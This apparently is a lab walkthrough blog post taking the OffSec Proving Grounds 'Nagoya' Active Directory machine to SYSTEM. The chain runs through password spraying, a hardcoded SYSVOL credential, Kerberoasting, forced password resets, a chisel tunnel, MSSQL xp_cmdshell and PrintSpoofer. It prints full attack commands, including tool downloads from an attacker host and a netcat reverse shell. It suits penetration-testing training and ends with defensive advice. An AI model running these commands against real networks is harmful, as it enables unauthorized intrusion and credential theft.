OffSec Proving Grounds Nagoya — AD Kerberoast to SYSTEM

September 12, 2026 · 11 min read

Views …

AOV Security

In this Art of Vector walkthrough, we take OffSec Proving Grounds Nagoya from a full Active Directory port map to SYSTEM by chaining employee username harvesting, seasonal password spraying, SYSVOL credential recovery, Kerberoasting, helpdesk password resets, MSSQL xp_cmdshell, and PrintSpoofer.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary

Nagoya is a Windows Domain Controller for nagoya-industries.com. The public IIS site exposes employee names. Those names validate over Kerberos, and season-themed passwords (Spring2023, Summer2023) spray successfully.

Authenticated SMB access to SYSVOL recovers a helpdesk password-reset tool with a hardcoded service account. That account Kerberoasts svc_mssql (Service1), enables password resets over RPC, and leads to WinRM. A SOCKS tunnel then reaches MSSQL over Kerberos as Administrator. xp_cmdshell plus SeImpersonatePrivilege and PrintSpoofer finish the host.

Enumeration

Nmap

nmap -sV -sC -p- 192.168.120.21 -v

Full scan output:

Nmap scan report for 192.168.120.21
Host is up (0.029s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
80/tcp    open  http              Microsoft IIS httpd 10.0
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Nagoya Industries - Nagoya
|_http-favicon: Unknown favicon MD5: 9200225B96881264E6481C77D69C622C
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-09-11 20:44:38Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
|_ssl-date: 2026-09-11T20:46:12+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| Issuer: commonName=nagoya.nagoya-industries.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-10T20:37:57
| Not valid after:  2027-03-12T20:37:57
| rdp-ntlm-info: 
|   Target_Name: NAGOYA-IND
|   NetBIOS_Domain_Name: NAGOYA-IND
|   NetBIOS_Computer_Name: NAGOYA
|   DNS_Domain_Name: nagoya-industries.com
|   DNS_Computer_Name: nagoya.nagoya-industries.com
|   DNS_Tree_Name: nagoya-industries.com
|   Product_Version: 10.0.17763
|_  System_Time: 2026-09-11T20:45:32+00:00
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf            .NET Message Framing
49666/tcp open  msrpc             Microsoft Windows RPC
49667/tcp open  msrpc             Microsoft Windows RPC
49675/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc             Microsoft Windows RPC
49678/tcp open  msrpc             Microsoft Windows RPC
49691/tcp open  msrpc             Microsoft Windows RPC
49698/tcp open  msrpc             Microsoft Windows RPC
49717/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-09-11T20:45:34
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

This is a Domain Controller: DNS, Kerberos, LDAP, SMB, RDP, and WinRM are all present. Domain and host names:

Domain: nagoya-industries.com
Host:   nagoya.nagoya-industries.com
NetBIOS: NAGOYA / NAGOYA-IND

Anonymous LDAP bind is rejected:

ldapsearch -x -H ldap://192.168.120.21 -b "dc=nagoya-industries,DC=com"

result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5E, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

Employee username harvest

The IIS site (Nagoya Industries) lists staff names. Save them as First.Last into user.txt:

Matthew.Harrison
Emma.Miah
Rebecca.Bell
Scott.Gardner
Terry.Edwards
Holly.Matthews
Anne.Jenkins
Brett.Naylor
Melissa.Mitchell
Craig.Carr
Fiona.Clark
Patrick.Martin
Kate.Watson
Kirsty.Norris
Andrea.Hayes
Abigail.Hughes
Melanie.Watson
Frances.Ward
Sylvia.King
Wayne.Hartley
Iain.White
Joanna.Wood
Bethan.Webster
Elaine.Brady
Christopher.Lewis
Megan.Johnson
Damien.Chapman
Joanne.Lewis

Kerbrute user enumeration

./kerbrute_linux_amd64 userenum --dc 192.168.120.21 -d nagoya-industries.com user.txt

2026/09/11 20:20:58 >  [+] VALID USERNAME:       Brett.Naylor@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Anne.Jenkins@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Rebecca.Bell@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Terry.Edwards@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Holly.Matthews@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Craig.Carr@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Emma.Miah@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Scott.Gardner@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Matthew.Harrison@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Melissa.Mitchell@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Kirsty.Norris@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Kate.Watson@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Patrick.Martin@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Melanie.Watson@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Frances.Ward@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Abigail.Hughes@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Andrea.Hayes@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Fiona.Clark@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Wayne.Hartley@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Sylvia.King@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Damien.Chapman@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Iain.White@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Megan.Johnson@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Christopher.Lewis@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Joanna.Wood@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Elaine.Brady@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Bethan.Webster@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Joanne.Lewis@nagoya-industries.com
2026/09/11 20:20:58 >  Done! Tested 28 usernames (28 valid) in 0.067 seconds

All 28 harvested names are valid domain accounts.

Initial access — password spray

Season-themed passwords fit the Nagoya climate theme (climatestotravel.com — Nagoya):

./kerbrute_linux_amd64 passwordspray --dc 192.168.120.21 -d nagoya-industries.com user.txt "Spring2023"

2026/09/11 21:09:26 >  [+] VALID LOGIN:  Craig.Carr@nagoya-industries.com:Spring2023

./kerbrute_linux_amd64 passwordspray --dc 192.168.120.21 -d nagoya-industries.com user.txt "Summer2023"

2026/09/11 21:09:36 >  [+] VALID LOGIN:  Fiona.Clark@nagoya-industries.com:Summer2023

Valid domain credentials:

Craig.Carr  : Spring2023
Fiona.Clark : Summer2023

SYSVOL — ResetPassword.exe

List shares as Craig.Carr:

smbclient -U Craig.Carr -L 192.168.120.21

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
SYSVOL          Disk      Logon server share

Browse SYSVOL and pull the helpdesk reset tool:

smbclient //192.168.120.21/SYSVOL -U Craig.Carr

smb: \nagoya-industries.com\scripts\ResetPassword\> ls
  .                                   D        0  Sun Apr 30 04:07:07 2023
  ..                                  D        0  Sun Apr 30 04:07:07 2023
  ResetPassword.exe                   A     5120  Sun Apr 30 13:04:02 2023
  ResetPassword.exe.config            A      189  Sun Apr 30 12:53:50 2023
  System.IO.FileSystem.AccessControl.dll      A    28552  Mon Oct 19 23:39:30 2020
  System.IO.FileSystem.AccessControl.xml      A    65116  Sat Oct 10 01:10:54 2020
  System.Security.AccessControl.dll      A    35952  Sat Oct 23 04:45:08 2021
  System.Security.AccessControl.xml      A   231631  Tue Oct 19 12:14:20 2021
  System.Security.Permissions.dll      A    30328  Tue Oct 18 21:34:02 2022
  System.Security.Permissions.xml      A     8987  Tue Oct 18 21:34:02 2022
  System.Security.Principal.Windows.dll      A    18312  Mon Oct 19 23:46:28 2020
  System.Security.Principal.Windows.xml      A    90968  Sat Oct 10 01:10:54 2020

smb: \nagoya-industries.com\scripts\ResetPassword\> get ResetPassword.exe

Extract embedded strings (UTF-16LE):

strings -e l ResetPassword.exe

Usage: PasswordReset.exe <Domain Username> <New Password>
nagoya-industries.com
User not found.
Password reset successful.
svc_helpdesk
U299iYRmikYTHDbPbxPoYYfa2j4x4cdg
VS_VERSION_INFO
...
FileDescription
ResetPassword
ProductName
ResetPassword

Hardcoded service credentials:

svc_helpdesk : U299iYRmikYTHDbPbxPoYYfa2j4x4cdg

Collect BloodHound data with the domain user:

bloodhound-python -d nagoya-industries.com -u Craig.Carr -p 'Spring2023' \
  -dc nagoya.nagoya-industries.com -gc nagoya.nagoya-industries.com \
  -ns 192.168.120.21 --dns-tcp -c all --zip

Kerberoasting

Request TGS tickets with svc_helpdesk:

impacket-GetUserSPNs -request \
  -dc-ip 192.168.120.21 \
  -dc-host nagoya.nagoya-industries.com \
  nagoya-industries.com/svc_helpdesk:'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg' \
  -outputfile kerberoast_hash.txt

ServicePrincipalName                Name          MemberOf                                          PasswordLastSet             LastLogon                   Delegation 
----------------------------------  ------------  ------------------------------------------------  --------------------------  --------------------------  ----------
http/nagoya.nagoya-industries.com   svc_helpdesk  CN=helpdesk,CN=Users,DC=nagoya-industries,DC=com  2023-04-30 03:31:06.190955  <never>                                
MSSQL/nagoya.nagoya-industries.com  svc_mssql                                                       2023-04-30 03:45:33.288595  2024-08-03 13:48:01.815298             

Crack with John:

./john.exe .\pass.txt --wordlist=rockyou.txt

Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Service1         (?)
1g 0:00:00:05 DONE (2026-09-11 23:58) 0.1700g/s 2439Kp/s 2616Kc/s 2616KC/s !!123sabi!!123..♦*♥7¡Vamos!♥
Session completed

svc_mssql : Service1

Password reset → WinRM

svc_helpdesk can reset domain user passwords (helpdesk privileges). Example via rpcclient:

rpcclient -U nagoya-industries/svc_helpdesk 192.168.120.21

rpcclient $> setuserinfo ELAINE.BRADY 23 'Password123'

WinRM succeeds for Christopher.Lewis:

crackmapexec winrm 192.168.120.21 -u christopher.Lewis -p Password1111

SMB         192.168.120.21  5985   NAGOYA           [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)
HTTP        192.168.120.21  5985   NAGOYA           [*] http://192.168.120.21:5985/wsman
WINRM       192.168.120.21  5985   NAGOYA           [+] nagoya-industries.com\christopher.Lewis:Password1111 (Pwn3d!)

evil-winrm -i 192.168.120.21 -u christopher.Lewis -p Password1111

*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents>

SOCKS tunnel → MSSQL

On the attacker host:

chisel server --reverse --socks5

2026/09/12 01:18:23 server: Reverse tunnelling enabled
2026/09/12 01:18:23 server: Listening on http://0.0.0.0:8080

On the target (Evil-WinRM):

iwr http://192.168.45.182/chisel.exe -OutFile C:\Users\Christopher.Lewis\Downloads\chisel.exe
.\chisel.exe client 192.168.45.182:8080 R:socks

Connect to MSSQL over Kerberos through the SOCKS proxy:

proxychains impacket-mssqlclient -k nagoya.nagoya-industries.com

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.120.21:1433  ...  OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)

SQL (NAGOYA-IND\Administrator  dbo@master)> enable_xp_cmdshell 1
INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

The session lands as NAGOYA-IND\Administrator. Enable xp_cmdshell and fire a reverse shell (PowerShell TCP client, Base64-encoded) back to the attacker listener.

Confirm privileges in the callback shell:

whoami /priv

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

SeImpersonatePrivilege is enabled — classic potato / PrintSpoofer territory.

Privilege escalation — PrintSpoofer

Stage tools and escalate:

iwr http://192.168.45.182/PrintSpoofer64.exe -OutFile C:\Temp\PrintSpoofer64.exe
iwr http://192.168.45.182/nc.exe -OutFile C:\Temp\nc.exe
.\PrintSpoofer64.exe -c "nc.exe 192.168.45.182 1337 -e cmd"

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

Listener:

nc -lvp 1337

listening on [any] 1337 ...
connect to [192.168.45.182] from nagoya-industries.com [192.168.120.21] 50092
Microsoft Windows [Version 10.0.17763.4252]

C:\Windows\system32>whoami /priv

High-integrity / SYSTEM-class privileges are present (SeDebugPrivilege, SeBackupPrivilege, SeTakeOwnershipPrivilege, and the rest of the admin set).

Root outcome

Nagoya is a full AD compromise chain:

recon identifies a Domain Controller and the corporate website
employee names → Kerbrute validation → seasonal password spray
SYSVOL ships a helpdesk binary with hardcoded svc_helpdesk credentials
Kerberoast cracks svc_mssql:Service1
helpdesk password resets enable WinRM
SOCKS + Kerberos MSSQL as Administrator → xp_cmdshell
SeImpersonatePrivilege + PrintSpoofer → SYSTEM

Why this machine is a good lesson

Nagoya rewards OSINT-style password guessing and careful reading of domain shares.

The website is not an RCE surface — it is a username factory. Seasonal passwords and a plaintext service credential in SYSVOL turn a low-priv domain user into Kerberoasting and helpdesk abuse. From there the path is classic Windows: WinRM, MSSQL, impersonation.

Defensive takeaways

Do not publish full employee name lists that map 1:1 to domain usernames.
Ban predictable seasonal passwords (SeasonYYYY) and enforce MFA where possible.
Never store service credentials in binaries under SYSVOL / NETLOGON.
Restrict who can reset passwords; monitor setuserinfo / password-reset events.
Treat Kerberoastable SPNs as high value — long complex passwords or gMSA.
Lock down MSSQL (xp_cmdshell off, least-privilege service accounts).
Mitigate impersonation abuse (PrintSpoofer / potato family) on hosts that run privileged services.

References

Unauthorized access is illegal. This write-up is for education and authorized lab work only.

Summary​

Enumeration​

Nmap​

Employee username harvest​

Kerbrute user enumeration​

Initial access — password spray​

SYSVOL — ResetPassword.exe​

Kerberoasting​

Password reset → WinRM​

SOCKS tunnel → MSSQL​

Privilege escalation — PrintSpoofer​

Root outcome​

Why this machine is a good lesson​

Defensive takeaways​

References​